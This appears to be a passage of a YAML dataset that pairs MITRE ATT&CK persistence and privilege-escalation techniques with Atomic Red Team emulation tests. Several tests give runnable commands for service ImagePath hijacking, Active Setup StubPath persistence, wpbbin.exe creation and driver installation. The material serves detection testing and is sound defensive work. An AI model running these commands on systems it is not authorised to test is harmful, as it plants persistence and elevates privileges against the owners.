description: |- Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes. Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.(Citation: Malware Persistence on OS X) modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: LC_LOAD_DYLIB Addition x_mitre_detection: Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Metadata' - 'Process: Process Creation' - 'File: File Modification' - 'Module: Module Load' x_mitre_permissions_required: - User x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1053.007: technique: modified: '2023-05-09T14:00:00.188Z' name: Kubernetes Cronjob description: |- Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster. In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Center for Threat-Informed Defense (CTID) - Vishwas Manral, McAfee - Yossi Weizman, Azure Defender Research Team x_mitre_deprecated: false x_mitre_detection: 'Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Containers x_mitre_version: '1.3' x_mitre_data_sources: - 'File: File Creation' - 'Container: Container Creation' - 'Scheduled Job: Scheduled Job Creation' x_mitre_permissions_required: - User x_mitre_remote_support: true type: attack-pattern id: attack-pattern--1126cab1-c700-412f-a510-61f4937bb096 created: '2021-03-29T17:06:22.247Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1053/007 external_id: T1053.007 - source_name: Kubernetes CronJob description: The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021. url: https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/ - source_name: Kubernetes Jobs description: The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021. url: https://kubernetes.io/docs/concepts/workloads/controllers/job/ - source_name: Threat Matrix for Kubernetes description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021. url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1053.007 atomic_tests: - name: ListCronjobs auto_generated_guid: ddfb0bc1-3c3f-47e9-a298-550ecfefacbd description: 'Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster. ' supported_platforms: - containers input_arguments: namespace: description: K8s namespace to list type: string default: default dependencies: - description: 'kubectl must be installed ' get_prereq_command: 'echo "kubectl must be installed manually" ' prereq_command: 'which kubectl ' executor: command: 'kubectl get cronjobs -n #{namespace} ' name: bash elevation_required: false - name: CreateCronjob auto_generated_guid: f2fa019e-fb2a-4d28-9dc6-fd1a9b7f68c3 description: 'Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster. ' supported_platforms: - containers input_arguments: namespace: description: K8s namespace to list type: string default: default dependencies: - description: 'kubectl must be installed ' get_prereq_command: 'echo "kubectl must be installed manually" ' prereq_command: 'which kubectl ' executor: command: 'kubectl create -f src/cronjob.yaml -n #{namespace} ' cleanup_command: 'kubectl delete cronjob art -n #{namespace} ' name: bash elevation_required: false T1542.001: technique: modified: '2024-04-16T12:21:51.311Z' name: 'Pre-OS Boot: System Firmware' description: |- Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.(Citation: Wikipedia BIOS)(Citation: Wikipedia UEFI)(Citation: About UEFI) System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Jean-Ian Boutin, ESET - McAfee - Ryan Becwar x_mitre_deprecated: false x_mitre_detection: |- System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior. Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Network x_mitre_version: '1.1' x_mitre_data_sources: - 'Firmware: Firmware Modification' x_mitre_defense_bypassed: - Host intrusion prevention systems - Anti-virus - File monitoring type: attack-pattern id: attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada created: '2019-12-19T19:43:34.507Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1542/001 external_id: T1542.001 - source_name: McAfee CHIPSEC Blog description: Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017. url: https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/ - source_name: MITRE Copernicus description: 'Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.' url: http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about - source_name: Intel HackingTeam UEFI Rootkit description: Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017. url: http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html - source_name: Github CHIPSEC description: Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017. url: https://github.com/chipsec/chipsec - source_name: About UEFI description: UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016. url: http://www.uefi.org/about - source_name: MITRE Trustworthy Firmware Measurement description: Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016. url: http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research - source_name: Wikipedia UEFI description: Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017. url: https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface - source_name: Wikipedia BIOS description: Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016. url: https://en.wikipedia.org/wiki/BIOS object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1542.001 atomic_tests: - name: UEFI Persistence via Wpbbin.exe File Creation auto_generated_guid: b8a49f03-e3c4-40f2-b7bb-9e8f8fdddbf1 description: | Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c - http://download.microsoft.com/download/8/a/2/8a2fb72d-9b96-4e2d-a559-4a27cf905a80/windows-platform-binary-table.docx - https://github.com/tandasat/WPBT-Builder supported_platforms: - windows executor: name: powershell command: "echo \"Creating %systemroot%\\wpbbin.exe\" \nNew-Item -ItemType File -Path \"$env:SystemRoot\\System32\\wpbbin.exe\"\n" cleanup_command: "echo \"Removing %systemroot%\\wpbbin.exe\" \nRemove-Item -Path \"$env:SystemRoot\\System32\\wpbbin.exe\"\n" elevation_required: true T1574.011: technique: modified: '2023-10-31T14:00:00.188Z' name: 'Hijack Execution Flow: Services Registry Permissions Weakness' description: |- Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service) If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms) Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll.(Citation: malware_hides_service) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - Travis Smith, Tripwire - Matthew Demaske, Adaptforward x_mitre_deprecated: false x_mitre_detection: |- Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'Service: Service Modification' - 'Command: Command Execution' - 'Process: Process Creation' x_mitre_defense_bypassed: - Application Control x_mitre_effective_permissions: - SYSTEM x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c created: '2020-03-13T11:42:14.444Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/011 external_id: T1574.011 - source_name: Tweet Registry Perms Weakness description: "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018." url: https://twitter.com/r0wdy_/status/936365549553991680 - source_name: insecure_reg_perms description: Clément Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021. url: https://itm4n.github.io/windows-registry-rpceptmapper-eop/ - source_name: Kansa Service related collectors description: 'Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.' url: https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html - source_name: malware_hides_service description: Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021. url: https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/ - source_name: Autoruns for Windows description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns - source_name: Registry Key Security description: Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017. url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN - source_name: microsoft_services_registry_tree description: Microsoft. (2021, August 5). HKLM\SYSTEM\CurrentControlSet\Services Registry Tree. Retrieved August 25, 2021. url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree - source_name: troj_zegost description: Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021. url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1574.011 atomic_tests: - name: Service Registry Permissions Weakness auto_generated_guid: f7536d63-7fd4-466f-89da-7e48d550752a description: | Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg. reg add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /f /v ImagePath /d "C:\temp\AtomicRedteam.exe" supported_platforms: - windows input_arguments: weak_service_name: description: weak service check type: string default: weakservicename executor: command: | get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\* |FL get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name} |FL name: powershell - name: Service ImagePath Change with reg.exe auto_generated_guid: f38e9eea-e1d7-4ba6-b716-584791963827 description: 'Change Service registry ImagePath of a bengin service to a malicious file ' supported_platforms: - windows input_arguments: weak_service_name: description: weak service name type: string default: calcservice weak_service_path: description: weak service path type: string default: "%windir%\\system32\\win32calc.exe" malicious_service_path: description: malicious service path type: string default: "%windir%\\system32\\cmd.exe" dependency_executor_name: powershell dependencies: - description: 'The service must exist (#{weak_service_name}) ' prereq_command: 'if (Get-Service #{weak_service_name}) {exit 0} else {exit 1} ' get_prereq_command: 'sc.exe create #{weak_service_name} binpath= "#{weak_service_path}" ' executor: command: 'reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /f /v ImagePath /d "#{malicious_service_path}" ' cleanup_command: 'sc.exe delete #{weak_service_name} ' name: command_prompt T1542.003: technique: modified: '2023-03-30T21:01:47.417Z' name: Bootkit description: |- Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly. A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011) The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Linux - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Drive: Drive Modification' x_mitre_defense_bypassed: - Host intrusion prevention systems - Anti-virus - File monitoring x_mitre_permissions_required: - Administrator - SYSTEM type: attack-pattern id: attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba created: '2019-12-19T21:05:38.123Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1542/003 external_id: T1542.003 - source_name: Mandiant M Trends 2016 description: Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019. url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf - source_name: Lau 2011 description: Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014. url: http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 spec_version: '2.1' atomic_tests: [] T1547: technique: modified: '2024-04-16T12:26:07.945Z' name: Boot or Logon Autostart Execution description: |- Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel. Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_deprecated: false x_mitre_detection: "Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \n\nSuspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.2' x_mitre_data_sources: - 'Process: OS API Execution' - 'Module: Module Load' - 'Command: Command Execution' - 'File: File Creation' - 'Windows Registry: Windows Registry Key Creation' - 'Windows Registry: Windows Registry Key Modification' - 'File: File Modification' - 'Kernel: Kernel Module Load' - 'Process: Process Creation' - 'Driver: Driver Load' x_mitre_permissions_required: - User - Administrator - root type: attack-pattern id: attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf created: '2020-01-23T17:46:59.535Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1547 external_id: T1547 - source_name: Cylance Reg Persistence Sept 2013 description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.' url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order - source_name: MSDN Authentication Packages description: Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017. url: https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx - source_name: Microsoft Run Key description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014. url: http://msdn.microsoft.com/en-us/library/aa376977 - source_name: Microsoft TimeProvider description: Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018. url: https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx - source_name: Linux Kernel Programming description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018. url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547 atomic_tests: - name: Add a driver auto_generated_guid: cb01b3da-b0e7-4e24-bf6d-de5223526785 description: 'Install a driver via pnputil.exe lolbin ' supported_platforms: - windows input_arguments: driver_inf: description: A built-in, already installed windows driver inf type: path default: C:\Windows\INF\usbstor.inf executor: command: 'pnputil.exe /add-driver "#{driver_inf}" ' name: command_prompt - name: Driver Installation Using pnputil.exe auto_generated_guid: 5cb0b071-8a5a-412f-839d-116beb2ed9f7 description: 'pnputil.exe is a native command-line utility in Windows to install drivers, this can be abused by to install malicious drivers. Ref: https://lolbas-project.github.io/lolbas/Binaries/Pnputil/ ' supported_platforms: - windows input_arguments: driver_path: description: Enter the driver file path to install (Default is used built-in windows driver - acpipmi.inf) type: path default: C:\Windows\INF\acpipmi.inf executor: command: 'pnputil.exe -i -a #{driver_path} ' name: powershell T1547.014: technique: modified: '2023-05-09T14:00:00.188Z' name: Active Setup description: |- Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level. Adversaries may abuse Active Setup by creating a key under HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016) Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD) x_mitre_deprecated: false x_mitre_detection: |- Monitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Command: Command Execution' - 'Windows Registry: Windows Registry Key Creation' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Modification' x_mitre_permissions_required: - Administrator type: attack-pattern id: attack-pattern--22522668-ddf6-470b-a027-9d6866679f67 created: '2020-12-18T16:33:13.098Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1547/014 external_id: T1547.014 - source_name: SECURELIST Bright Star 2015 description: Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who’s Really Spreading through the Bright Star?. Retrieved December 18, 2020. url: https://securelist.com/whos-really-spreading-through-the-bright-star/68978/ - source_name: Mandiant Glyer APT 2010 description: Glyer, C. (2010). Examples of Recent APT Persistence Mechanism. Retrieved December 18, 2020. url: https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf - source_name: FireEye CFR Watering Hole 2012 description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020. url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html - source_name: Klein Active Setup 2010 description: Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020. url: https://helgeklein.com/blog/2010/04/active-setup-explained/ - source_name: paloalto Tropic Trooper 2016 description: Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020. url: https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/ - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: Citizenlab Packrat 2015 description: Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020. url: https://citizenlab.ca/2015/12/packrat-report/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547.014 atomic_tests: - name: HKLM - Add atomic_test key to launch executable as part of user setup auto_generated_guid: deff4586-0517-49c2-981d-bbea24d48d71 description: "This test will create an \"atomic_test\" key under 'HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components' to launch calc by configuring an active setup executable and \nforcing to run active setup using the \"runonce.exe /AlternateShellStartup\" command. \nWithout the \"runonce.exe /AlternateShellStartup\" command it would run during the next logon for each user.\n\nNote: If you logout before running the cleanup command, you will be required to go through the OOBE (out-of-box experience) setup sequence to log back in. \nThe payload will only run once unless the cleanup command is run in between tests.\n\n[Active Setup Explained](https://helgeklein.com/blog/active-setup-explained/)\n" supported_platforms: - windows input_arguments: payload: description: Payload to run once during login type: string default: C:\Windows\System32\calc.exe executor: command: "New-Item \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\" -Name \"atomic_test\" -Force\nSet-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\" \"(Default)\" \"ART TEST\" -Force\nSet-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\" \"StubPath\" \"#{payload}\" -Force \n& $env:SYSTEMROOT\\system32\\runonce.exe /AlternateShellStartup" cleanup_command: |- Remove-Item "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" -Force -ErrorAction Ignore Remove-Item "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" -Force -ErrorAction Ignore name: powershell elevation_required: true - name: HKLM - Add malicious StubPath value to existing Active Setup Entry auto_generated_guid: 39e417dd-4fed-4d9c-ae3a-ba433b4d0e9a description: "This test will add a StubPath entry to the Active Setup native registry key associated with 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) \nSaid key doesn't have a StubPath value by default, by adding one it will launch calc by forcing to run active setup using runonce.exe /AlternateShellStartup. \nWithout the last command it will normally run on next user logon. Note: this test will only run once successfully if no cleanup command is run in between test.\n" supported_platforms: - windows input_arguments: payload: description: Payload to run once during login type: string default: C:\Windows\System32\calc.exe executor: command: |- Set-ItemProperty 